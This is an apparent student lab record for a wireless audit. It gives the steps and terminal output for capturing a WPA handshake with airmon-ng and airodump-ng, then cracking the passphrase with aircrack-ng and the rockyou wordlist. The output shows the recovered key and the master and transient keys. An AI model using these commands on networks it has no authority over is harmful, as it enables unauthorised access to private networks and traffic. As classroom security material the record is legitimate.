

Exp. No.: 9b

Date:

WIRELESS AUDIT

Aim:

To perform wireless audit on Access Point and decrypt WPA keys using aircrackng tool in Kali Linux OS.

Algorithm:

1. Check the current wireless interface with iwconfig command.
2. Get the channel number, MAC address and ESSID with iwlist command.
3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.
4. If processes are interfering with airmon-ng then kill those process.
5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.
6. Start airodump-ng to capture Initialization Vectors (IVs).
7. Capture IVs for at least 5 to 10 minutes and then press Ctrl + C to stop the operation.
8. List the files to see the captured files
9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt
10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not Found.

Output:

```
root@kali:~# iwconfig eth0 no  
wireless extensions.
```

```
wlan0 IEEE 802.11bgn ESSID:off/any
```

```
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS  
thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless  
extensions.
```

```
root@kali:~# iwlist wlan0 scanning wlan0 Scan  
completed :
```

```
Cell 01 - Address: 14:F6:5A:F4:57:22
```

```
Channel:6
```

```
Frequency:2.437 GHz (Channel 6) Quality=70/70 Signal level=-27 dBm
```

```
Encryption key:on ESSID:"BENEDICT"
```

```
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
```

```
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
```

```
36 Mb/s; 48 Mb/s; 54 Mb/s
```

Mode:Master Extra:tsf=00000000425b0a37 Extra: Last beacon: 548ms ago IE:
WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK

```
root@kali:~# airmon-ng start wlan0
```

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

PID Name

1148 NetworkManager

1324 wpa_supplicant

PHY Interface	Driver	Chipset
phy0 wlan0	ath9k_htc	Atheros Communications, Inc. AR9271 802.11n

Newly created monitor mode interface wlan0mon is *NOT* in monitor mode. Removing non-monitor wlan0mon interface...

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

```
root@kali:~# airmon-ng check kill Killing these processes:
```

PID Name

1324 wpa_supplicant

```
root@kali:~# airmon-ng start wlan0
```

PHY Interface	Driver	Chipset
phy0 wlan0	ath9k_htc	Atheros Communications, Inc. AR9271 802.11n

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)

(mac80211 station mode vif disabled for [phy0]wlan0)

```
root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon CH 6 ][  
Elapsed: 5 mins ][ 2016-10-05 01:35 ][ WPA handshake: 14:F6:5A:F4:57:
```

BSSID	PWR	RXQ	Beacons	#Data	#s	CH	MB	ENC	CIPHER	AUTH	E
14:F6:5A:F4:57:22	-31	100	3104	10036	0	6	54e	WPA	CCMP	PSK	B

BSSID	STATION	PWR	Rate	Lost	Frames	Probe	14:F6:5A:F4:57:22
70:05:14:A3:7E:3E		-32	2e-	0	0	10836	

```
root@kali:~# ls -l total
10348
```

```
-rw-r--r-- 1 root root 10580359 Oct 5 01:35 atheros-01.cap
-rw-r--r-- 1 root root      481 Oct 5 01:35 atheros-01.csv
-rw-r--r-- 1 root root      598 Oct 5 01:35 atheros-01.kismet.csv
-rw-r--r-- 1 root root     2796 Oct 5 01:35 atheros-01.kismet.netxml
```

```
root@kali:~# aircrack-ng -a 2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt [00:00:52]
84564 keys tested (1648.11 k/s)
```

KEY FOUND! [rec12345]

Master Key : CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14 77 49 A9 7AA0 2D 9F BB 2B C3
8D 26 D2 33 54 3D 3A 43

Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A 53
38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF
81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE FE 05 F6 53 B8 CAA0 70 EC 02
1B EA 5F 7A DA 7A EC 7D

EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C

Result: